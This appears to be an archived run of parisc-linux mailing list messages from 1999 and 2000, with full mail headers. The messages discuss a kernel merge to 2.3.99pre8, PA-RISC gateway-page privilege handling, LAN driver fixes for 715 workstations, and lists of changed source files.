Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA24395
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 18:04:33 -0600
Original-Received: (qmail 16400 invoked by uid 15267); 19 May 2000 00:04:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16383 invoked from network); 19 May 2000 00:04:41 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 19 May 2000 00:04:41 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id VAA29143;
	Thu, 18 May 2000 21:04:36 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000518234102.B2592@alpha.franken.de>; from Thomas Bogendoerfer on Thu, May 18, 2000 at 11:41:02PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7306

On Thu, May 18, 2000 at 11:41:02PM +0200, Thomas Bogendoerfer wrote:
> On Thu, May 18, 2000 at 05:14:49PM -0400, willy@thepuffingroup.com wrote:
> > 
> > i just thought i'd throw out a feeler to see what people think about
> > moving to 2.3.99pre8.  it seems reasonably stable to me, but I haven't
> > tried root nfs yet.  i have some conflicting things to work on right now,
> > but how would people feel about having friday 26th may as migration day?
> 
> is it really necessary to sync again ? I don't see it helping us, or
> is there some bugs in pre1, we need to get tid of ?

There aren't any pressing bugs that I'm aware of (please shout if anyone
knows otherwise).  However, we don't want to diverge too much from Linus'
tree, as it makes later merges more painful.  We last merged around March
26th at the puffinfest, so it's been 2 months -- I personally feel that's
about the maximum length of time we should leave it before the changes
become too painful to merge.


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] move to 2.3.99pre8?
Date: Fri, 19 May 2000 04:16:49 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20000519041649.A28779@puffin.external.hp.com>
References: <20000518171449.E20055@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618923 32728 80.91.229.3 (22 Nov 2014 01:15:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:23 +0000 (UTC)
To: willy@thepuffingroup.com, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Fri May 19 04:16:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA28791
	for <parisc-linux@puffin.external.hp.com>; Fri, 19 May 2000 04:16:52 -0600
Original-Received: (qmail 10377 invoked by uid 15267); 19 May 2000 10:17:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10359 invoked from network); 19 May 2000 10:17:00 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 19 May 2000 10:17:00 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id EAA28786;
	Fri, 19 May 2000 04:16:49 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <20000518171449.E20055@thepuffingroup.com>; from willy@thepuffingroup.com on Thu, May 18, 2000 at 05:14:49PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7307

On Thu, May 18, 2000 at 05:14:49PM -0400, willy@thepuffingroup.com wrote:
> i just thought i'd throw out a feeler to see what people think about
> moving to 2.3.99pre8.  it seems reasonably stable to me, but I haven't
> tried root nfs yet.  i have some conflicting things to work on right now,
> but how would people feel about having friday 26th may as migration day?

moving my tree to pre6 (it stil was .42) wasn't a problem and I expect
moving either tree to pre8 should be extremely easy.

pre8 also seems to be quite stable so my advice is to do it.


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <helgaas@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Gateway instructions
Date: Thu, 18 Mar 1999 11:34:43 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <199903181734.LAA27215@helgaaspc.rsn.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618923 32735 80.91.229.3 (22 Nov 2014 01:15:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:23 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: helgaas@helgaaspc.rsn.hp.com  Thu Mar 18 12:35:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id MAA24155
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 12:35:00 -0500
Original-Received: (qmail 11524 invoked by uid 15267); 18 Mar 1999 17:34:15 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 11517 invoked from network); 18 Mar 1999 17:34:15 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 17:34:15 -0000
Original-Received: from mailhost.rsn.hp.com (root@idiot.rsn.hp.com [15.99.200.11])
	by palrel1.hp.com (8.8.6/8.8.5tis) with ESMTP id JAA04398
	for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 09:34:48 -0800 (PST)
Original-Received: from helgaaspc.rsn.hp.com (root@helgaaspc.rsn.hp.com [15.99.148.145])
	by mailhost.rsn.hp.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id LAA29402
	for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 11:34:44 -0600 (CST)
Original-Received: from helgaaspc.rsn.hp.com (helgaas@localhost [127.0.0.1])
	by helgaaspc.rsn.hp.com (8.8.7/8.8.7) with ESMTP id LAA27215
	for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 11:34:43 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7308

>   I'm wondering if anybody's got a handle on how gateway instructions
>are supposed to work.

The important thing about the gateway instruction is how the page
containing the instruction is mapped in the TLB.  A gateway can only
promote your privilege if the access type of the page containing the
gateway instruction is 4, 5, 6, or 7, i.e., "execute and promote to
privilege level 0, 1, 2, or 3".

The kernel controls the TLB mappings, so while a user can easily generate
gateway instructions, they won't do anything useful unless he can convince
the kernel to map them with the special access rights.

HP-UX maps only a few pages in the whole system with the magic gateway
access rights.  Syscalls work by branching to specific entry points on
these pages.  For 32-bit apps, the entry address is fixed and is hard-
coded into libc.  I think HP-UX supplies the syscall entry point to
64-bit apps in a register, and crt0.s stashes it somewhere.

Since the pages are execute only (not readable or writable), users can't
change the target of the gateway instructions.  The gateway pages contain
things other than gateway instructions, of course, but if you branch to
a non-gateway instruction, you stay at user privilege level and basically
execute some random (from the user's point of view) code.

When you branch to the defined entry point, your privilege level is
promoted, a couple registers are set up for running in the kernel, and you
branch to the the kernel proper, which is mapped with normal read/execute
or read/write/execute access rights.  The privilege levels in kernel
text access rights are set to allow access only at privilege level 0,
so even though a user can address the kernel, he can't read or execute
it without going through the gateway page.


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Snow <csnow@julian.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/50 hang - more info
Date: Fri, 19 May 2000 09:24:13 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0005190922540.22496-100000@panther.uwo.ca>
References: <20000519002637.C1209@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618924 32739 80.91.229.3 (22 Nov 2014 01:15:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: csnow@julian.uwo.ca  Fri May 19 07:24:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA29977
	for <parisc-linux@puffin.external.hp.com>; Fri, 19 May 2000 07:24:23 -0600
Original-Received: (qmail 30932 invoked by uid 15267); 19 May 2000 13:24:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30918 invoked from network); 19 May 2000 13:24:32 -0000
Original-Received: from pony.its.uwo.ca (129.100.2.63)
  by mailserv2.iuinc.com with SMTP; 19 May 2000 13:24:32 -0000
Original-Received: from panther.uwo.ca (panther.uwo.ca [129.100.2.14])
	by pony.its.uwo.ca (8.10.0/8.10.0) with ESMTP id e4JDODS00469;
	Fri, 19 May 2000 09:24:13 -0400 (EDT)
X-Sender: csnow@panther.uwo.ca
In-Reply-To: <20000519002637.C1209@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7309

>   I have just committed changes to drivers/net/lasi_82596.c and
> drivers/gsc/lan.c.  Fairly big changes to lasi_82596.c, partly
> just tidyup, partly improvements to cache handling.  It is still
> not perfect but is a _lot_ better than it was.  The change to
> lan.c was to use a different probe function on older h/w (like
> my 715/75), where we need to swap the MPU_PORT, as per the message
> from prumpf.  If the driver seems completely dead for you, try
> enabling/disabling that word swap, and please let me know that
> you needed to.
> 
> All success or failure reports welcome :-)


Success!  The driver works fine.  I made no modifications for word swap
(on a 715/50).

No let's see what else I can break :)


          Chris


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John Curry" <jcurry@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Simple Linux question
Date: Fri, 19 May 2000 11:43:27 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <019701bfc1c2$1ef4f750$1c80100f@jc356611.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0194_01BFC187.72715940"
X-Trace: ger.gmane.org 1416618924 32744 80.91.229.3 (22 Nov 2014 01:15:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:24 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: jcurry@cup.hp.com  Fri May 19 12:43:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA32170
	for <parisc-linux@puffin.external.hp.com>; Fri, 19 May 2000 12:43:20 -0600
Original-Received: (qmail 14983 invoked by uid 15267); 19 May 2000 18:43:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14973 invoked from network); 19 May 2000 18:43:29 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 19 May 2000 18:43:29 -0000
Original-Received: from hpdst41.cup.hp.com (hpdst41.cup.hp.com [15.16.128.62])
	by palrel3.hp.com (Postfix) with ESMTP id 241FC5AE
	for <parisc-linux@thepuffingroup.com>; Fri, 19 May 2000 11:43:29 -0700 (PDT)
Original-Received: from jc356611 (jc356611.cup.hp.com [15.16.128.28]) by hpdst41.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id LAA06721 for <parisc-linux@thepuffingroup.com>; Fri, 19 May 2000 11:43:28 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3612.1700
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Xref: news.gmane.org gmane.linux.ports.parisc:7310

This is a multi-part message in MIME format.

------=_NextPart_000_0194_01BFC187.72715940
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Can anyone answer this simple LINUX question:

Assume all processes are type SCHED_RR. If they all have the same =
priority, when the running process' time slice expires and it enters the =
scheduler, how can any of the other processes ever be chosen? From what =
I see in the scheduler, all processes in the run queue are going to have =
their goodness compared against that of the running process. Only if =
there priority is higher, will they be chosen.

                                                                         =
                                   Thanks

------=_NextPart_000_0194_01BFC187.72715940
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3612.1706"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Can anyone answer this simple LINUX=20
question:</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Assume all processes are type =
SCHED_RR. If they=20
all have the same priority, when the running process' time slice expires =
and it=20
enters the scheduler, how can any of the other processes ever be chosen? =
From=20
what I see in the scheduler, all processes in the run queue are going to =
have=20
their goodness compared against that of the running process. Only if =
there=20
priority is higher, will they be chosen.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Thanks</FONT></DIV></BODY></HTML>

------=_NextPart_000_0194_01BFC187.72715940--


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tree Issues
Date: Sun, 21 May 2000 08:36:57 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20000521083657.C15044@puffin.external.hp.com>
References: <20000509103707.A13782@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618924 32752 80.91.229.3 (22 Nov 2014 01:15:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Sun May 21 08:37:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA15386
	for <parisc-linux@puffin.external.hp.com>; Sun, 21 May 2000 08:37:03 -0600
Original-Received: (qmail 2328 invoked by uid 15267); 21 May 2000 14:37:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2318 invoked from network); 21 May 2000 14:37:12 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 21 May 2000 14:37:12 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id IAA15381
	for parisc-linux@thepuffingroup.com; Sun, 21 May 2000 08:36:57 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <20000509103707.A13782@puffin.external.hp.com>; from Philipp Rumpf on Tue, May 09, 2000 at 10:37:07AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7311

I hoped to hear some kind of reaction from TPG/LC before doing this,
but it doesn't seem like that will happen anytime soon.

If you're interested in my tree, you can find it at
:pserver:anonymous@cvs.linux-parisc.sourceforge.net:/cvsroot/linux-parisc.
(empty password).

I'm currently working on a 712 and a c360, so those are the machines
that it is most likely to work on; some code for a180 and 715/old hasn't
been written yet, but probably will be soon (I have those machines here,
too).

Please feel free to send any questions, comments, or bug reports either
to me or to use the facilities sourceforge provides
(http://sourceforge.net/project/?group_id=5490, I think).

[is it okay to use this list ?]

If you can't get that tree booting on your machine, please tell me.  I
can't test on all four machines at the same time, so just a simple
"doesn't boot on <machine type>" message would be very helpful.

	Philipp Rumpf


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/50 hang - more info
Date: Mon, 22 May 2000 03:26:03 -0700 (PDT)
Lines: 102
Approved: news@gmane.org
Message-ID: <20000522102603.29296.qmail@web509.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618925 32757 80.91.229.3 (22 Nov 2014 01:15:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:25 +0000 (UTC)
Cc: Ulrich Strelow <ulrich_strelow@yahoo.com>, parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>, Chris Snow <csnow@julian.uwo.ca>
Original-X-From: ulrich_strelow@yahoo.com  Mon May 22 04:26:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA22661
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 May 2000 04:26:24 -0600
Original-Received: (qmail 23943 invoked by uid 15267); 22 May 2000 10:26:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23928 invoked from network); 22 May 2000 10:26:30 -0000
Original-Received: from web509.mail.yahoo.com (216.115.104.224)
  by mailserv2.iuinc.com with SMTP; 22 May 2000 10:26:30 -0000
Original-Received: from [149.234.12.1] by web509.mail.yahoo.com; Mon, 22 May 2000 03:26:03 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7312

Hi Richard,

great work: for the first time I was now able to boot
using a NFSROOT filesystem on my 715/33. Everything
works well until the sash shell prompt.

So device support for my 715/old is nearly complete:
serial console works well and SCSI has been tested
using a HP DAT drive. Putting a real ext2 fs on a SCSI
disk is a bit complicated for me because I do not have
direct access to a Linux PC with a SCSI board. But I
will test this real soon and report back.

Ulrich 


--- Richard Hirst <rhirst@linuxcare.com> wrote:
> Hi,
>   I have just committed changes to
> drivers/net/lasi_82596.c and
> drivers/gsc/lan.c.  Fairly big changes to
> lasi_82596.c, partly
> just tidyup, partly improvements to cache handling. 
> It is still
> not perfect but is a _lot_ better than it was.  The
> change to
> lan.c was to use a different probe function on older
> h/w (like
> my 715/75), where we need to swap the MPU_PORT, as
> per the message
> from prumpf.  If the driver seems completely dead
> for you, try
> enabling/disabling that word swap, and please let me
> know that
> you needed to.
> 
> All success or failure reports welcome :-)
> 
> Richard
> 
> 
> On Thu, May 18, 2000 at 08:31:56AM -0400, Chris Snow
> wrote:
> > > I had the same problem on my 715/33 with
> lasi_82596.c.
> > > I emailed Helge Deller who made the last changes
> to
> > > this driver and he told me that there seems to
> be the
> > > problem that not all interrupts from the i82596
> are
> > > delivered to the interrupt routine. The result
> of this
> > > is that all 16 xmit buffers will get filled and
> then
> > > the kernel hangs.
> > 
> > That's what I came up with as well.
> > 
> > > He also told me that he will have no time until
> 23rd
> > > of May (approx.) to find the reason for this and
> to
> > > correct it. So right now there is no way to use
> > > NFSROOT on a 715/old.
> > 
> > Well, I'm going to keep playing with it over the
> next few days, although
> > I'm not sure if I'll have any success...
> > 
> > If I succeed in fixing anything, I'll be sure to
> let everyone know.
> > 
> > 
> > Thanks,
> > 
> > 
> >      Chris
> > 
> >
>
---------------------------------------------------------------------------
> > To unsubscribe: send e-mail to
> parisc-linux-request@thepuffingroup.com with
> > `unsubscribe' as the subject.
> > 
> > 
> 
>
---------------------------------------------------------------------------
> To unsubscribe: send e-mail to
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


__________________________________________________
Do You Yahoo!?
Send instant messages & get email alerts with Yahoo! Messenger.
http://im.yahoo.com/


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS cleanups
Date: Tue, 23 May 2000 18:08:27 -0400
Lines: 6
Approved: news@gmane.org
Message-ID: <20000523180827.D17536@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618925 32759 80.91.229.3 (22 Nov 2014 01:15:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Tue May 23 15:08:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA03417
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 May 2000 15:08:21 -0600
Original-Received: (qmail 13995 invoked by uid 15267); 23 May 2000 21:08:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13978 invoked from network); 23 May 2000 21:08:29 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 23 May 2000 21:08:29 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id SAA25335
	for parisc-linux@thepuffingroup.com; Tue, 23 May 2000 18:08:27 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7313


The following files have only their CVS id string changed in our CVS
repo.  Would anyone like to fix them before we do the 2.3.99-pre8 merge
on Friday?  I'm just going through now and preparing a list of files
we'll need to pay attention to.


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS cleanups
Date: Tue, 23 May 2000 18:12:11 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20000523181211.E17536@thepuffingroup.com>
References: <20000523180827.D17536@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618925 32762 80.91.229.3 (22 Nov 2014 01:15:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Tue May 23 15:11:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA03594
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 May 2000 15:11:58 -0600
Original-Received: (qmail 17121 invoked by uid 15267); 23 May 2000 21:12:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17094 invoked from network); 23 May 2000 21:12:13 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 23 May 2000 21:12:13 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id SAA25453
	for parisc-linux@thepuffingroup.com; Tue, 23 May 2000 18:12:11 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000523180827.D17536@thepuffingroup.com>; from willy@thepuffingroup.com on Tue, May 23, 2000 at 06:08:27PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7314

On Tue, May 23, 2000 at 06:08:27PM -0400, willy@thepuffingroup.com wrote:
> 
> The following files have only their CVS id string changed in our CVS
> repo.  Would anyone like to fix them before we do the 2.3.99-pre8 merge
> on Friday?  I'm just going through now and preparing a list of files
> we'll need to pay attention to.

I really did just forget to attach the list of files, didn't I?  This cold
is getting to me.


linux-2.3/Documentation/usb/error-codes.txt
linux-2.3/Documentation/usb/uhci.txt
linux-2.3/arch/sparc/lib/ashldi3.S
linux-2.3/arch/sparc64/kernel/iommu_common.c
linux-2.3/arch/sparc64/kernel/iommu_common.h
linux-2.3/arch/sparc64/prom/map.S
linux-2.3/drivers/i2c/i2c-pcf8584.h
linux-2.3/drivers/scsi/README.aha152x
linux-2.3/drivers/telephony/ixj.c
linux-2.3/drivers/telephony/ixj.h
linux-2.3/drivers/usb/plusb.c
linux-2.3/drivers/zorro/names.c
linux-2.3/fs/cramfs/inflate/adler32.c
linux-2.3/fs/cramfs/inflate/uncompr.c
linux-2.3/fs/cramfs/inflate/zconf.h
linux-2.3/fs/cramfs/inflate/zutil.h
linux-2.3/include/asm-m68k/apollodma.h
linux-2.3/include/asm-ppc/hw_irq.h
linux-2.3/include/linux/i2c-algo-bit.h
linux-2.3/include/linux/i2c-algo-pcf.h
linux-2.3/include/linux/i2c-dev.h
linux-2.3/include/linux/i2c-elektor.h
linux-2.3/include/linux/ixjuser.h
linux-2.3/include/net/inetpeer.h
linux-2.3/net/ipv4/inetpeer.c


From - Thu Nov 08 21:12:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MERGE] trouble files
Date: Tue, 23 May 2000 20:07:50 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <20000523200750.F17536@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618926 32765 80.91.229.3 (22 Nov 2014 01:15:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Tue May 23 17:07:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA04616
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 May 2000 17:07:36 -0600
Original-Received: (qmail 6933 invoked by uid 15267); 23 May 2000 23:07:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6917 invoked from network); 23 May 2000 23:07:52 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 23 May 2000 23:07:52 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id UAA28620
	for parisc-linux@thepuffingroup.com; Tue, 23 May 2000 20:07:51 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7315


the following list of files (if I remember to attach them this time...)
are the files which have been modified in both the parisc tree and Linus'
2.3.99pre8 tree.  I've omitted the files where the rcs id is the only thing
changed.

Tulip is special because we're using 2.3.99pre3's driver in the pre1 tree.
So the files which differe from pre3 are these:

drivers/net/tulip/eeprom.c
